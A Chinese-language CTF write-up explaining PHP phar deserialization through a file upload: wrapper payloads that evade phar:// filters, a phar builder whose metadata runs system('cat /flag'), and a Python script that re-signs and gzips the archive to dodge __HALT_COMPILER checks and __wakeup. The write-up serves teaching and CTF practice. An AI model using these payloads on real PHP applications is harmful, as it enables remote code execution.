phar繞過phar與HALT實現文件上傳功能
前面也講過一次phar文件上傳的東西,但是那都是過濾比較低,僅僅過濾了后綴。
知道今天看到了一篇好的文章
如果過濾了phar這個偽造協議的話,那還是比較簡單的
if(preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
die(); }例如這樣進行了過濾
繞過的話,我們可以用各種協議進行繞過
1、php://filter/read=convert.base64-encode/resource=phar://test.phar
//即使用filter偽協議來進行繞過
2、compress.bzip2://phar:///test.phar/test.txt
//使用bzip2協議來進行繞過
3、compress.zlib://phar:///home/sx/test.phar/test.txt
//使用zlib協議進行繞過
當如果__HALT_COMPILER被過濾了
PHP通過__HALT_COMPILER
來識別Phar文件,那么出于安全考慮,即為了防止Phar反序列化的出現,可能就會對這個進行過濾,示例代碼如下
因為phar是通過這個來判斷是不是phar文件,而不是通過后綴來判斷,所以我們可以隨便的更改后綴而不會影響效果
這里的辦法:是將生成的Phar文件進行gzip壓縮
gziptest.phar
cat test.phar.gz
例題: [NSSRound#4 SWPU]1zweb
打開題目以后,第一眼只是覺得是上傳文件的漏洞,可是上傳都不太行。
讓我改變了一個思維,試了一下 /flag萬一呢,eee
竟然出了,那就看看下一道進階題,估計是出題人忽略了這個
[NSSRound#4 SWPU]1zweb(revenge)
這道題出題人就進行了限制
因為是前提的一個提示,所以我覺得也不會是單純的文件上傳漏洞
這時候試一下/etc/passwd,有沒有任意文件讀取漏洞,前面做過的一道題用到了這個。
果然有,那就讀取一下源碼index.php,和upload.php上傳文件
<?phpif ($_FILES["file"]["error"] > 0){ echo "上傳異常";}else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){ echo "ltj一眼就發現了phar";}else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已經存在"; }else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上傳成功 ./upload/".$_FILES["file"]["name"]; }} }else{echo "dky不喜歡這個文件 .".$extension; }}?>
限制了后綴只能是,gif,jpeg,jpg,png格式,并且過濾了HALT_COMPILER(), 所以這道題的考點就是繞過這個
<?phpclass LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo(); } public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){$this->ljt="Re";$this->dky="Misc"; }}$file=$_POST["file"];if(isset($_POST["file"])){ if (preg_match("/flag/", $file)) { die("nonono"); } echo file_get_contents($file);}
這個反序列化,是簡單的,僅僅是繞過wakeup就可以,考點并不在這里,發現沒有serialize這個的參數,而且有文件上傳并且file_get_contents可以觸發phar序列化,所以確定了需要phar.
這里就出現了一個問題,phar如何繞過wakeup呢,如何把屬性值加1呢,我們先不考慮這些,先寫出phar 文件來
<?phpclass LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){$this->ljt="Misc";$this->dky="Re";$this->cmd="system("cat /flag");"; }}$phar = new Phar("quan9i.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ? >");$a = new LoveNss();$phar->setMetadata($a);$phar->addFromString("test.txt", "test");$phar->stopBuffering();?>
這個比較簡單,就直接過了,然后就需要考慮我們以上的問題了
import gzipfrom hashlib import sha1with open("D:\\phpstudy\\quan9i.phar", "rb") as file: f = file.read()s = f[:-28] # 獲取要簽名的數據s = s.replace(b"3:{", b"4:{")#更換屬性值,繞過__wakeuph = f[-8:] # 獲取簽名類型以及GBMB標識newf = s + sha1(s).digest() + h # 數據 + 簽名 + (類型 + GBMB)#print(newf)newf = gzip.compress(newf) #對Phar文件進行gzip壓縮with open("D:\\phpStudy\\newquanqi.png", "wb") as file:#更改文件后綴 file.write(newf)
找到我們生成phar的文件目錄,只讀
因為我們改變了phar里面的內容,wakeup屬性值,所以需要重新生成一個標簽
就會直接生成一個png的文件,我們直接上傳然后phar協議讀取
到此這篇關于phar繞過phar與HALT實現文件上傳功能的文章就介紹到這了,更多相關phar文件上傳內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!